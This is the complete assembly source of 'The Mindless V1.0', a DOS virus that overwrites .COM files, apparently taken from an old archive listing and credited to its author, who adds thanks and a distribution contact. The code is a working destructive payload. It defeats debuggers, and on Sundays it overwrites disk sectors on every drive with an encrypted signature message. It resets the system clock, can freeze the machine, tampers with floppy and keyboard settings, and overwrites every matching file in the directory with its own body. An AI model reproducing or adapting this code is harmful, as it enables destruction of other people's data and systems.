home *** CD-ROM | disk | FTP | other *** search
- ; The Mindless V1.0 Virus
-
- ;
-
- ; Type: *.COM Overwriter
-
- ;
-
- ; Programmer: Natas Kaupas
-
-
-
- ; Notes:
-
- ;
-
- ; Read the texts that come with this for all of the necessary
-
- ; info...if you've got any questions contact me on any YAM Dist. Sites.
-
- ;
-
- ; I Couldn't Have Made This Without:
-
- ;
-
- ; Soltan Griss -Kode4
-
- ; Data Disruptor -encrypted part
-
- ; Mr. Mike -typematic delay thing
-
- ; And Everyone I Forgot!
-
-
-
- seg_a segment byte public
-
- assume cs:seg_a, ds:seg_a
-
- org 100h
-
-
-
-
-
- MINDL proc far
-
- start label near
-
- db 0E9h,00h,00h
-
-
-
- vstart equ $
-
-
-
- mov cx,09EBh ;debug killer
-
- mov ax,0FE05h ;
-
- jmp $-2 ;
-
- add ah,03Bh ;
-
- jmp $-10 ;
-
-
-
- push ds ;save old data segment
-
- sub ax,ax ;put zero in ax
-
- push ax ;save it on stack
-
-
-
- mov ah,2ah ;get date
-
- int 21h
-
- cmp al,0 ;is it a Sunday?
-
- jne rater ;no...don't format then
-
-
-
- doom:
-
- mov ax,3301h ;turn off ^C Check
-
- xor dl,dl ;0
-
- int 21h
-
-
-
- mov cx,lident ;this all has to do with the encrypted
-
- mov si,offset ident ;message
-
- mov di,offset dest ;
-
- doshit:
-
- mov al,ds:[si] ;unencrypt message
-
- mov temp,al ;
-
- xor byte ptr ds:[temp],01h ;
-
- mov al,temp ;
-
- mov [di],al ;
-
- inc si ;
-
- inc di ;
-
- loop doshit ;loop back and finish it
-
- doomb:
-
- cmp drive,27 ;format all drives
-
- jge boot ;done...then end (boot)
-
- pushf ;push flags on
-
- mov al,drive ;find drive
-
- mov cx,sectors ;find sectors
-
- mov dx,0 ;start at sector 0
-
- mov bx,offset dest ;write encrypted message
-
- int 26h ;format
-
- popf ;pop flags off
-
- inc drive ;go up to next drive
-
- jmp doomb ;repeat
-
-
-
- ;this was originally going to boot...but for some reason it couldn't format in
-
- ;time (before the boot), so it didn't format...oh well.
-
-
-
- boot:
-
- mov dl,2ch ;get system time
-
- int 21h
-
- and dl,0Fh ;AND 100th seconds by 0Fh
-
- or dl,dl ;0?
-
- jz locker ;yes..then lock up system
-
-
-
- mov cx,1980 ;date, 1980
-
- mov dx,0 ;mon/day, 0
-
- mov ah,2Bh ;set date
-
- int 21h
-
- mov cx,0 ;hrs/min, 0
-
- mov dx,0 ;sec, 0
-
- mov ah,2Dh ;set time
-
- int 21h
-
- mov ax,3301h ;turn ^C Check back on
-
- mov dl,1 ;1
-
- int 21h
-
- mov ax,4c00h ;end with error message 00
-
- int 21h
-
-
-
- locker:
-
- jmp $ ;lock up computer
-
-
-
- rater:
-
- mov al,dl
-
- mov dl,0c0h ;unkown ms, really grinds on mine though!
-
- jz valid ;it must be around 15ms
-
- ;which is slow considering default is 9ms
-
- ;and most floppies can actually go under 6ms
-
-
-
- valid:
-
- push ds ;Save the data segment
-
- mov bx,78h ;point to pointer for floppy drive tables
-
- mov ax,0
-
- mov ds,ax ;set to segment 0
-
- mov ax,[bx] ;get the pointer
-
- mov bx,ax ;into the bx register
-
- mov al,[bx] ;now get the present step rate
-
- and al,0fh ;remove the old step rate
-
- or al,dl ;put in the new step rate
-
- mov [bx],al ;and put it back where it goes
-
- mov ah,0 ;now call on the BIOS to
-
- int 13h ;reload the set floppy disk controller
-
- pop ds ;Reset the Data Segment
-
-
-
- go_on:
-
-
-
- push ds ;save present data segment
-
-
-
- mov bx,78h ;point to pointer for floppy drive tables
-
- mov ax,0
-
- mov ds,ax ;set to segment 0
-
- mov ax,[bx] ;get the pointer
-
- mov bx,ax ;into the bx register
-
- mov al,[bx] ;now get the step rate
-
- pop ds
-
- push ax ;save the step rate on the stack
-
-
-
-
-
- typematic:
-
- mov bl,repeat ;get the parameters
-
- mov bh,init ;
-
- mov ax,305h ;set typematic rate and delay
-
- int 16h ;
-
- xor al,al ;errorlevel = 0
-
-
-
- n_start: mov ah,4Eh ;Find first Com file in directory
-
- mov dx,offset filename ;use "*.com"
-
- int 21h
-
-
-
- Back:
-
- mov ah,43h ;get rid of read only protection
-
- mov al,0 ;
-
- mov dx,9eh ;
-
- int 21h ;
-
- mov ah,43h ;
-
- mov al,01 ;
-
- and cx,11111110b ;
-
- int 21h ;
-
-
-
- mov ax,3D01h ;Open file for writing
-
- mov dx,9Eh ;get file name from file data area
-
- int 21h
-
-
-
- mov bx,ax ;save handle in bx
-
- mov ah,57h ;get time date
-
- mov al,0
-
- int 21h
-
-
-
- push cx ;put in stack for later
-
- push dx
-
-
-
-
-
- mov dx,100h ;Start writing at 100h
-
- mov cx,(vend-vstart) ;write ?? bytes
-
- mov ah,40h ;Write Data into the file
-
- int 21h
-
-
-
-
-
- pop dx ;Restore old dates and times
-
- pop cx
-
- mov ah,57h
-
- mov al,01h
-
- int 21h
-
-
-
-
-
-
-
- mov ah,3Eh ;Close the file
-
- int 21h
-
-
-
- mov ah,4Fh ;Find Next file
-
- int 21h
-
-
-
- jnc Back
-
-
-
- done:
-
-
-
- int 20h ;Terminate Program
-
-
-
- V_Length equ vend-vstart
-
-
-
- drive db ?
-
- sectors dw 456
-
-
-
- filename db "*.c*",0
-
-
-
- ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
-
- db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
-
-
-
- ;encrypted message:
-
- ;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
-
- ; db "The Mindless Virus v1.0 ",13,10
-
-
-
- lident equ $-ident
-
- dest db [lident-1/2] dup (?)
-
- temp db 0
-
-
-
- repeat equ 250
-
- init equ 0
-
-
-
- mindl endp
-
-
-
- vend equ $
-
-
-
- seg_a ends
-
-
-
- end start
-
-
-
-
-